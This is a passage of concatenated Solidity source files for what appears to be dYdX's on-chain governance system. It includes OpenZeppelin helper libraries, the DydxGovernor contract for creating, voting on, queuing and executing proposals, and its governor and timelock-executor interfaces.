_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = '0123456789abcdef';
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return '0';
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = '0';
buffer[1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, 'Strings: hex length insufficient');
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './IERC165.sol';
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { AccessControl } from '../dependencies/open-zeppelin/AccessControl.sol';
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
import { IDydxGovernor } from '../interfaces/IDydxGovernor.sol';
import { IExecutorWithTimelock } from '../interfaces/IExecutorWithTimelock.sol';
import { IGovernanceStrategy } from '../interfaces/IGovernanceStrategy.sol';
import { IProposalValidator } from '../interfaces/IProposalValidator.sol';
import { IVotingStrategy } from '../interfaces/IVotingStrategy.sol';
import { isContract, getChainId } from '../misc/Helpers.sol';
/**
* @title dYdX governor contract.
* @author dYdX
*
* @notice Main point of interaction for dYdX governance. Holds governance proposals. Delegates to
* the governance strategy contract to determine how voting and proposing powers are counted. The
* content of a proposal is a sequence of function calls. These function calls must be made
* through authorized executor contracts.
*
* Functionality includes:
* - Create a proposal
* - Cancel a proposal
* - Queue a proposal
* - Execute a proposal
* - Submit a vote to a proposal
*
* Proposal state transitions in success case:
*
* Pending => Active => Succeeded => Queued => Executed
*
* Proposal state transitions in failure cases:
*
* Pending => Active => Failed
* Pending => Active => Succeeded => Queued => Expired
* Pending => Canceled
* Pending => Active => Canceled
* Pending => Active => Succeeded => Canceled
* Pending => Active => Succeeded => Queued => Canceled
**/
contract DydxGovernor is
AccessControl,
IDydxGovernor
{
using SafeMath for uint256;
// ============ Constants ============
bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE');
bytes32 public constant ADD_EXECUTOR_ROLE = keccak256('ADD_EXECUTOR_ROLE');
// ============ Storage ============
address private _governanceStrategy;
uint256 private _votingDelay;
uint256 private _proposalsCount;
mapping(uint256 => Proposal) private _proposals;
mapping(address => bool) private _authorizedExecutors;
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
'EIP712Domain(string name,uint256 chainId,address verifyingContract)'
);
bytes32 public constant VOTE_EMITTED_TYPEHASH = keccak256(
'VoteEmitted(uint256 id,bool support)'
);
string public constant EIP712_DOMAIN_NAME = 'dYdX Governance';
constructor(
address governanceStrategy,
uint256 votingDelay,
address addExecutorAdmin
) {
_setGovernanceStrategy(governanceStrategy);
_setVotingDelay(votingDelay);
// Assign roles.
_setupRole(OWNER_ROLE, msg.sender);
_setupRole(ADD_EXECUTOR_ROLE, addExecutorAdmin);
// Set OWNER_ROLE as the admin for all roles.
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
_setRoleAdmin(ADD_EXECUTOR_ROLE, OWNER_ROLE);
}
struct CreateVars {
uint256 startBlock;
uint256 endBlock;
uint256 previousProposalsCount;
}
/**
* @notice Creates a Proposal (needs to be validated by the Proposal Validator)
* @param executor The ExecutorWithTimelock contract that will execute the proposal
* @param targets list of contracts called by proposal's associated transactions
* @param values list of value in wei for each propoposal's associated transaction
* @param signatures list of function signatures (can be empty) to be used when created the callData
* @param calldatas list of calldatas: if associated signature empty, calldata ready, else calldata is arguments
* @param withDelegatecalls boolean, true = transaction delegatecalls the taget, else calls the target
* @param ipfsHash IPFS hash of the proposal
**/
function create(
IExecutorWithTimelock executor,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
bool[] memory withDelegatecalls,
bytes32 ipfsHash
) external override returns (uint256) {
require(targets.length != 0, 'INVALID_EMPTY_TARGETS');
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length &&
targets.length == withDelegatecalls.length,
'INCONSISTENT_PARAMS_LENGTH'
);
require(isExecutorAuthorized(address(executor)), 'EXECUTOR_NOT_AUTHORIZED');
require(
IProposalValidator(address(executor)).validateCreatorOfProposal(
this,
msg.sender,
block.number - 1
),
'PROPOSITION_CREATION_INVALID'
);
CreateVars memory vars;
vars.startBlock = block.number.add(_votingDelay);
vars.endBlock = vars.startBlock.add(IProposalValidator(address(executor)).VOTING_DURATION());
vars.previousProposalsCount = _proposalsCount;
Proposal storage newProposal = _proposals[vars.previousProposalsCount];
newProposal.id = vars.previousProposalsCount;
newProposal.creator = msg.sender;
newProposal.executor = executor;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.withDelegatecalls = withDelegatecalls;
newProposal.startBlock = vars.startBlock;
newProposal.endBlock = vars.endBlock;
newProposal.strategy = _governanceStrategy;
newProposal.ipfsHash = ipfsHash;
_proposalsCount = vars.previousProposalsCount + 1;
emit ProposalCreated(
vars.previousProposalsCount,
msg.sender,
executor,
targets,
values,
signatures,
calldatas,
withDelegatecalls,
vars.startBlock,
vars.endBlock,
_governanceStrategy,
ipfsHash
);
return newProposal.id;
}
/**
* @dev Cancels a Proposal. Callable by anyone if the conditions on the executor are fulfilled.
* @param proposalId id of the proposal
**/
function cancel(uint256 proposalId) external override {
ProposalState state = getProposalState(proposalId);
require(
state != ProposalState.Canceled &&
state != ProposalState.Failed &&
state != ProposalState.Expired &&
state != ProposalState.Executed,
'ONLY_BEFORE_EXECUTED'
);
Proposal storage proposal = _proposals[proposalId];
require(
IProposalValidator(address(proposal.executor)).validateProposalCancellation(
this,
proposal.creator,
block.number - 1
),
'PROPOSITION_CANCELLATION_INVALID'
);
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
proposal.executor.cancelTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.executionTime,
proposal.withDelegatecalls[i]
);
}
emit ProposalCanceled(proposalId);
}
/**
* @dev Queue the proposal. Requires that the proposal succeeded.
* @param proposalId id of the proposal to queue
**/
function queue(uint256 proposalId) external override {
require(getProposalState(proposalId) == ProposalState.Succeeded, 'INVALID_STATE_FOR_QUEUE');
Proposal storage proposal = _proposals[proposalId];
uint256 executionTime = block.timestamp.add(proposal.executor.getDelay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(
proposal.executor,
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
executionTime,
proposal.withDelegatecalls[i]
);
}
proposal.executionTime = executionTime;
emit ProposalQueued(proposalId, executionTime, msg.sender);
}
/**
* @dev Execute the proposal. Requires that the proposal is queued.
* @param proposalId id of the proposal to execute
**/
function execute(uint256 proposalId) external payable override {
require(getProposalState(proposalId) == ProposalState.Queued, 'ONLY_QUEUED_PROPOSALS');
Proposal storage proposal = _proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
proposal.executor.executeTransaction{value: proposal.values[i]}(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.executionTime,
proposal.withDelegatecalls[i]
);
}
emit ProposalExecuted(proposalId, msg.sender);
}
/**
* @dev Function allowing msg.sender to vote for/against a proposal
* @param proposalId id of the proposal
* @param support boolean, true = vote for, false = vote against
**/
function submitVote(uint256 proposalId, bool support) external override {
return _submitVote(msg.sender, proposalId, support);
}
/**
* @dev Function to register the vote of user that has voted offchain via signature
* @param proposalId id of the proposal
* @param support boolean, true = vote for, false = vote against
* @param v v part of the voter signature
* @param r r part of the voter signature
* @param s s part of the voter signature
**/
function submitVoteBySignature(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
) external override {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(EIP712_DOMAIN_NAME)),
getChainId(),
address(this)
)
),
keccak256(abi.encode(VOTE_EMITTED_TYPEHASH, proposalId, support))
)
);
address signer = ecrecover(digest, v, r, s);
require(signer != address(0), 'INVALID_SIGNATURE');
return _submitVote(signer, proposalId, support);
}
/**
* @dev Set new GovernanceStrategy
* Note: owner should be a timelocked executor, so needs to make a proposal
* @param governanceStrategy new Address of the GovernanceStrategy contract
**/
function setGovernanceStrategy(address governanceStrategy)
external
override
onlyRole(OWNER_ROLE)
{
_setGovernanceStrategy(governanceStrategy);
}
/**
* @dev Set new Voting Delay (delay before a newly created proposal can be voted on)
* Note: owner should be a timelocked executor, so needs to make a proposal
* @param votingDelay new voting delay in terms of blocks
**/
function setVotingDelay(uint256 votingDelay)
external
override
onlyRole(OWNER_ROLE)
{
_setVotingDelay(votingDelay);
}
/**
* @dev Add new addresses to the list of authorized executors
* @param executors list of new addresses to be authorized executors
**/
function authorizeExecutors(address[] memory executors)
public
override
onlyRole(ADD_EXECUTOR_ROLE)
{
for (uint256 i = 0; i < executors.length; i++) {
_authorizeExecutor(executors[i]);
}
}
/**
* @dev Remove addresses to the list of authorized executors
* @param executors list of addresses to be removed as authorized executors
**/
function unauthorizeExecutors(address[] memory executors)
public
override
onlyRole(OWNER_ROLE)
{
for (uint256 i = 0; i < executors.length; i++) {
_unauthorizeExecutor(executors[i]);
}
}
/**
* @dev Getter of the current GovernanceStrategy address
* @return The address of the current GovernanceStrategy contracts
**/
function getGovernanceStrategy() external view override returns (address) {
return _governanceStrategy;
}
/**
* @dev Getter of the current Voting Delay (delay before a created proposal can be voted on)
* Different from the voting duration
* @return The voting delay in number of blocks
**/
function getVotingDelay() external view override returns (uint256) {
return _votingDelay;
}
/**
* @dev Returns whether an address is an authorized executor
* @param executor address to evaluate as authorized executor
* @return true if authorized
**/
function isExecutorAuthorized(address executor) public view override returns (bool) {
return _authorizedExecutors[executor];
}
/**
* @dev Getter of the proposal count (the current number of proposals ever created)
* @return the proposal count
**/
function getProposalsCount() external view override returns (uint256) {
return _proposalsCount;
}
/**
* @dev Getter of a proposal by id
* @param proposalId id of the proposal to get
* @return the proposal as ProposalWithoutVotes memory object
**/
function getProposalById(uint256 proposalId)
external
view
override
returns (ProposalWithoutVotes memory)
{
Proposal storage proposal = _proposals[proposalId];
ProposalWithoutVotes memory proposalWithoutVotes = ProposalWithoutVotes({
id: proposal.id,
creator: proposal.creator,
executor: proposal.executor,
targets: proposal.targets,
values: proposal.values,
signatures: proposal.signatures,
calldatas: proposal.calldatas,
withDelegatecalls: proposal.withDelegatecalls,
startBlock: proposal.startBlock,
endBlock: proposal.endBlock,
executionTime: proposal.executionTime,
forVotes: proposal.forVotes,
againstVotes: proposal.againstVotes,
executed: proposal.executed,
canceled: proposal.canceled,
strategy: proposal.strategy,
ipfsHash: proposal.ipfsHash
});
return proposalWithoutVotes;
}
/**
* @notice Get information about a voter's vote on a proposal.
* Note: Vote is a struct: ({bool support, uint248 votingPower})
* @param proposalId id of the proposal
* @param voter address of the voter
* @return The associated Vote object
**/
function getVoteOnProposal(uint256 proposalId, address voter)
external
view
override
returns (Vote memory)
{
return _proposals[proposalId].votes[voter];
}
/**
* @notice Get the current state of a proposal.
* @param proposalId id of the proposal
* @return The current state of the proposal
**/
function getProposalState(uint256 proposalId) public view override returns (ProposalState) {
require(_proposalsCount > proposalId, 'INVALID_PROPOSAL_ID');
Proposal storage proposal = _proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (!IProposalValidator(address(proposal.executor)).isProposalPassed(this, proposalId)) {
return ProposalState.Failed;
} else if (proposal.executionTime == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (proposal.executor.isProposalOverGracePeriod(this, proposalId)) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function _queueOrRevert(
IExecutorWithTimelock executor,
address target,
uint256 value,
string memory signature,
bytes memory callData,
uint256 executionTime,
bool withDelegatecall
) internal {
require(
!executor.isActionQueued(
keccak256(abi.encode(target, value, signature, callData, executionTime, withDelegatecall))
),
'DUPLICATED_ACTION'
);
executor.queueTransaction(target, value, signature, callData, executionTime, withDelegatecall);
}
function _submitVote(
address voter,
uint256 proposalId,
bool support
) internal {
require(getProposalState(proposalId) == ProposalState.Active, 'VOTING_CLOSED');
Proposal storage proposal = _proposals[proposalId];
Vote storage vote = proposal.votes[voter];
require(vote.votingPower == 0, 'VOTE_ALREADY_SUBMITTED');
uint256 votingPower = IVotingStrategy(proposal.strategy).getVotingPowerAt(
voter,
proposal.startBlock
);
if (support) {
proposal.forVotes = proposal.forVotes.add(votingPower);
} else {
proposal.againstVotes = proposal.againstVotes.add(votingPower);
}
vote.support = support;
vote.votingPower = uint248(votingPower);
emit VoteEmitted(proposalId, voter, support, votingPower);
}
function _setGovernanceStrategy(address governanceStrategy) internal {
_governanceStrategy = governanceStrategy;
emit GovernanceStrategyChanged(governanceStrategy, msg.sender);
}
function _setVotingDelay(uint256 votingDelay) internal {
_votingDelay = votingDelay;
emit VotingDelayChanged(votingDelay, msg.sender);
}
function _authorizeExecutor(address executor) internal {
_authorizedExecutors[executor] = true;
emit ExecutorAuthorized(executor);
}
function _unauthorizeExecutor(address executor) internal {
_authorizedExecutors[executor] = false;
emit ExecutorUnauthorized(executor);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IExecutorWithTimelock } from './IExecutorWithTimelock.sol';
interface IDydxGovernor {
enum ProposalState {
Pending,
Canceled,
Active,
Failed,
Succeeded,
Queued,
Expired,
Executed
}
struct Vote {
bool support;
uint248 votingPower;
}
struct Proposal {
uint256 id;
address creator;
IExecutorWithTimelock executor;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
uint256 startBlock;
uint256 endBlock;
uint256 executionTime;
uint256 forVotes;
uint256 againstVotes;
bool executed;
bool canceled;
address strategy;
bytes32 ipfsHash;
mapping(address => Vote) votes;
}
struct ProposalWithoutVotes {
uint256 id;
address creator;
IExecutorWithTimelock executor;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
uint256 startBlock;
uint256 endBlock;
uint256 executionTime;
uint256 forVotes;
uint256 againstVotes;
bool executed;
bool canceled;
address strategy;
bytes32 ipfsHash;
}
/**
* @dev emitted when a new proposal is created
* @param id Id of the proposal
* @param creator address of the creator
* @param executor The ExecutorWithTimelock contract that will execute the proposal
* @param targets list of contracts called by proposal's associated transactions
* @param values list of value in wei for each propoposal's associated transaction
* @param signatures list of function signatures (can be empty) to be used when created the callData
* @param calldatas list of calldatas: if associated signature empty, calldata ready, else calldata is arguments
* @param withDelegatecalls boolean, true = transaction delegatecalls the taget, else calls the target
* @param startBlock block number when vote starts
* @param endBlock block number when vote ends
* @param strategy address of the governanceStrategy contract
* @param ipfsHash IPFS hash of the proposal
**/
event ProposalCreated(
uint256 id,
address indexed creator,
IExecutorWithTimelock indexed executor,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
bool[] withDelegatecalls,
uint256 startBlock,
uint256 endBlock,
address strategy,
bytes32 ipfsHash
);
/**
* @dev emitted when a proposal is canceled
* @param id Id of the proposal
**/
event ProposalCanceled(uint256 id);
/**
* @dev emitted when a proposal is queued
* @param id Id of the proposal
* @param executionTime time when proposal underlying transactions can be executed
* @param initiatorQueueing address of the initiator of the queuing transaction
**/
event ProposalQueued(uint256 id, uint256 executionTime, address indexed initiatorQueueing);
/**
* @dev emitted when a proposal is executed
* @param id Id of the proposal
* @param initiatorExecution address of the initiator of the execution transaction
**/
event ProposalExecuted(uint256 id, address indexed initiatorExecution);
/**
* @dev emitted when a vote is registered
* @param id Id of the proposal
* @param voter address of the voter
* @param support boolean, true = vote for, false = vote against
* @param votingPower Power of the voter/vote
**/
event VoteEmitted(uint256 id, address indexed voter, bool support, uint256 votingPower);
event GovernanceStrategyChanged(address indexed newStrategy, address indexed initiatorChange);
event VotingDelayChanged(uint256 newVotingDelay, address indexed initiatorChange);
event ExecutorAuthorized(address executor);
event ExecutorUnauthorized(address executor);
/**
* @dev Creates a Proposal (needs Proposition Power of creator > Threshold)
* @param executor The ExecutorWithTimelock contract that will execute the proposal
* @param targets list of contracts called by proposal's associated transactions
* @param values list of value in wei for each propoposal's associated transaction
* @param signatures list of function signatures (can be empty) to be used when created the callData
* @param calldatas list of calldatas: if associated signature empty, calldata ready, else calldata is arguments
* @param withDelegatecalls if true, transaction delegatecalls the taget, else calls the target
* @param ipfsHash IPFS hash of the proposal
**/
function create(
IExecutorWithTimelock executor,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
bool[] memory withDelegatecalls,
bytes32 ipfsHash
) external returns (uint256);
/**
* @dev Cancels a Proposal, when proposal is Pending/Active and threshold no longer reached
* @param proposalId id of the proposal
**/
function cancel(uint256 proposalId) external;
/**
* @dev Queue the proposal (If Proposal Succeeded)
* @param proposalId id of the proposal to queue
**/
function queue(uint256 proposalId) external;
/**
* @dev Execute the proposal (If Proposal Queued)
* @param proposalId id of the proposal to execute
**/
function execute(uint256 proposalId) external payable;
/**
* @dev Function allowing msg.sender to vote for/against a proposal
* @param proposalId id of the proposal
* @param support boolean, true = vote for, false = vote against
**/
function submitVote(uint256 proposalId, bool support) external;
/**
* @dev Function to register the vote of user that has voted offchain via signature
* @param proposalId id of the proposal
* @param support boolean, true = vote for, false = vote against
* @param v v part of the voter signature
* @param r r part of the voter signature
* @param s s part of the voter signature
**/
function submitVoteBySignature(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Set new GovernanceStrategy
* Note: owner should be a timelocked executor, so needs to make a proposal
* @param governanceStrategy new Address of the GovernanceStrategy contract
**/
function setGovernanceStrategy(address governanceStrategy) external;
/**
* @dev Set new Voting Delay (delay before a newly created proposal can be voted on)
* Note: owner should be a timelocked executor, so needs to make a proposal
* @param votingDelay new voting delay in seconds
**/
function setVotingDelay(uint256 votingDelay) external;
/**
* @dev Add new addresses to the list of authorized executors
* @param executors list of new addresses to be authorized executors
**/
function authorizeExecutors(address[] memory executors) external;
/**
* @dev Remove addresses to the list of authorized executors
* @param executors list of addresses to be removed as authorized executors
**/
function unauthorizeExecutors(address[] memory executors) external;
/**
* @dev Getter of the current GovernanceStrategy address
* @return The address of the current GovernanceStrategy contracts
**/
function getGovernanceStrategy() external view returns (address);
/**
* @dev Getter of the current Voting Delay (delay before a created proposal can be voted on)
* Different from the voting duration
* @return The voting delay in seconds
**/
function getVotingDelay() external view returns (uint256);
/**
* @dev Returns whether an address is an authorized executor
* @param executor address to evaluate as authorized executor
* @return true if authorized
**/
function isExecutorAuthorized(address executor) external view returns (bool);
/**
* @dev Getter of the proposal count (the current number of proposals ever created)
* @return the proposal count
**/
function getProposalsCount() external view returns (uint256);
/**
* @dev Getter of a proposal by id
* @param proposalId id of the proposal to get
* @return the proposal as ProposalWithoutVotes memory object
**/
function getProposalById(uint256 proposalId) external view returns (ProposalWithoutVotes memory);
/**
* @dev Getter of the Vote of a voter about a proposal
* Note: Vote is a struct: ({bool support, uint248 votingPower})
* @param proposalId id of the proposal
* @param voter address of the voter
* @return The associated Vote memory object
**/
function getVoteOnProposal(uint256 proposalId, address voter) external view returns (Vote memory);
/**
* @dev Get the current state of a proposal
* @param proposalId id of the proposal
* @return The current state if the proposal
**/
function getProposalState(uint256 proposalId) external view returns (ProposalState);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IDydxGovernor } from './IDydxGovernor.sol';
interface IExecutorWithTimelock {
/**
* @dev emitted when a new pending admin is set
* @param newPendingAdmin address of the new pending admin
**/
event NewPendingAdmin(address newPendingAdmin);
/**
* @dev emitted when a new admin is set
* @param newAdmin address of the new admin
**/
event NewAdmin(address newAdmin);
/**
* @dev emitted when a new delay (between queueing and execution) is set
* @param delay new delay
**/
event NewDelay(uint256 delay);
/**
* @dev emitted when a new (trans)action is Queued.
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
event QueuedAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall
);
/**
* @dev emitted when an action is Cancelled
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
event CancelledAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall
);
/**
* @dev emitted when an action is Cancelled
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @param resultData the actual callData used on the target
**/
event ExecutedAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall,
bytes resultData
);
/**
* @dev Getter of the current admin address (should be governance)
* @return The address of the current admin
**/
function getAdmin() external view returns (address);
/**
* @dev Getter of the current pending admin address
* @return The address of the pending admin
**/
function getPendingAdmin() external view returns (address);
/**
* @dev Getter of the delay between queuing and execution
* @return The delay in seconds
**/
function getDelay() external view returns (uint256);
/**
* @dev Returns whether an action (via actionHash) is queued
* @param actionHash hash of the action to be checked
* keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall))
* @return true if underlying action of actionHash is queued
**/
function isActionQueued(bytes32 actionHash) external view returns (bool);
/**
* @dev Checks whether a proposal is over its grace period
* @param governance Governance contract
* @param proposalId Id of the proposal against which to test
* @return true of proposal is over grace period
**/
function isProposalOverGracePeriod(IDydxGovernor governance, uint256 proposalId)
external
view
returns (bool);
/**
* @dev Getter of grace period constant
* @return grace period in seconds
**/
function GRACE_PERIOD() external view returns (uint256);
/**
* @dev Getter of minimum delay constant
* @return minimum delay in seconds
**/
function MINIMUM_DELAY() external view returns (uint256);
/**
* @dev Getter of maximum delay constant
* @return maximum delay in seconds
**/
function MAXIMUM_DELAY() external view returns (uint256);
/**
* @dev Function, called by Governance, that queue a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
